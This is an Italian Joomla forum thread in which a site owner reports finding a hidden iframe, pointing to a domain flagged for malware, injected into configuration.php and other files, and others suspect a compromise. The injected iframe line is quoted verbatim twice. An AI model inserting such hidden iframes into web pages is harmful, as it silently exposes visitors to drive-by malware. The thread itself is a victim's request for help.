Back to top

Autore Topic: Problema di sicurezza sulla 1.5.15  (Letto 2928 volte)

Offline ryche74

  • Nuovo arrivato
  • *
  • Post: 36
    • Mostra profilo
Problema di sicurezza sulla 1.5.15
« il: 07 Mar 2010, 21:04:16 »
Il seguente messaggio  scritto sul fle configuration

<iframe src="http://www.maas.cl/images/index.php" style="display:none"></iframe>

rende il sito inaccessibile

col seguente messaggio:

Attenzione: l'apertura di questo sito potrebbe danneggiare il tuo computer!
The website at www.xxxxxxxxx.com contains elements from the site www.maas.cl, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.
Per maggiori informazioni sui problemi riscontrati per questi elementi, visita la pagina Pagina di diagnostica Navigazione sicura. di www.maas.cl.
Scopri come proteggere il tuo computer dai software dannosi presenti sulla Rete.

Offline lucabensi

  • Appassionato
  • ***
  • Post: 246
  • Sesso: Maschio
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #1 il: 07 Mar 2010, 22:39:59 »
Ciao.
Non ho capito dove hai inserito quel codice (forse in un articolo?).
In ogni caso, il problema non è determinato da Joomla, ma dal fatto che maas.cl è nella lista stilata da Google dei siti infettati da malware: per verificarlo prova ad accedervi direttamente usando firefox con i filtri di Google attivati (lo sono di default).
Che browser ti manifesta l'errore?
Il messaggio ti segnala che il sito contiene qualcosa proveniente da un sito infetto, e quindi rischi di essere infettato da quel qualcosa.
Luca

Offline ryche74

  • Nuovo arrivato
  • *
  • Post: 36
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #2 il: 07 Mar 2010, 22:45:34 »
Ciao.
Il codice 
<iframe src="http://www.maas.cl/images/index.php" style="display:none"></iframe>
l'ho trovato nel fiel configuration.php e appena rimosso  il sito è tornato ok

Il messaggio  "Attenzione: l'apertura di questo sito potrebbe danneggiare il tuo computer!"   etc. etc.
lo trovo non appena tento di entrare nel sito.
Con Firefox non si manifesta
Con Chrome e Safari sì. Explorer non ho ancora provato ma perchè uso MAC.


ps: cosa intendi quando dici  "dove hai inserito quel codice (forse in un articolo?)." !?!?!

Offline ostyle17

  • Esploratore
  • **
  • Post: 119
  • Sesso: Maschio
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #3 il: 07 Mar 2010, 22:47:18 »
Per quanto ne so io, nel file configuration.php non dovrebbero essere presenti iframe.

mau_develop

  • Visitatore
Re:Problema di sicurezza sulla 1.5.15
« Risposta #4 il: 07 Mar 2010, 22:47:56 »
mi dici anche che extensions hai installato?

M.

ps: c'è una sez sicurezza e con un post uguale al tuo

Offline ryche74

  • Nuovo arrivato
  • *
  • Post: 36
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #5 il: 07 Mar 2010, 22:54:28 »
Già ma la riga di codice sul file configuration era lì... :)

e in certi siti anche sull'index.php   della root

L'extension installata era  RAF CLOUD  e ho trovato la stessa riga di codice "i frame" sul file  runlog.php

Una cosa mai vista....  :)

mau_develop

  • Visitatore
Re:Problema di sicurezza sulla 1.5.15
« Risposta #6 il: 07 Mar 2010, 23:00:21 »
solo quella?

altre cose oltre al joomla base?... galleria?

M.

Offline lucabensi

  • Appassionato
  • ***
  • Post: 246
  • Sesso: Maschio
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #7 il: 07 Mar 2010, 23:01:19 »
ps: cosa intendi quando dici  "dove hai inserito quel codice (forse in un articolo?)." !?!?!
Parlavo di articoli perché mi sembrava strano trovarlo nel configuration.php, dove non dovrebbe proprio essere.
Sembra quasi un attacco... ???
Luca

Offline ryche74

  • Nuovo arrivato
  • *
  • Post: 36
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #8 il: 07 Mar 2010, 23:04:37 »
Ho fatto uno screen shot del file configuration

http://img85.imageshack.us/i/configuration.png/

Un attacco???  E come scusa?   Server aggiornatissimo. Joomla aggiornato. Extension aggiornate. Permessi sulle cartelle rigorosamente controllati a 755 e configuaration a  644. Password ftp alfanumeriche lunghissime   :)

Dovrei averlo fatto io  :)

Offline Duilio76

  • Esploratore
  • **
  • Post: 198
  • Sesso: Maschio
  • FOGGIA in WEB - Creazione siti web Foggia
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #9 il: 08 Mar 2010, 00:33:35 »
Un iframe nel configuration.php? Andiamo bene!
Creazione siti web Foggia
http://www.foggiainweb.it

Offline ryche74

  • Nuovo arrivato
  • *
  • Post: 36
    • Mostra profilo
Re:Problema di sicurezza sulla 1.5.15
« Risposta #10 il: 08 Mar 2010, 18:09:10 »
Scusate, avete news e/o avete indagato sul problema?

 



Web Design Bolzano Kreatif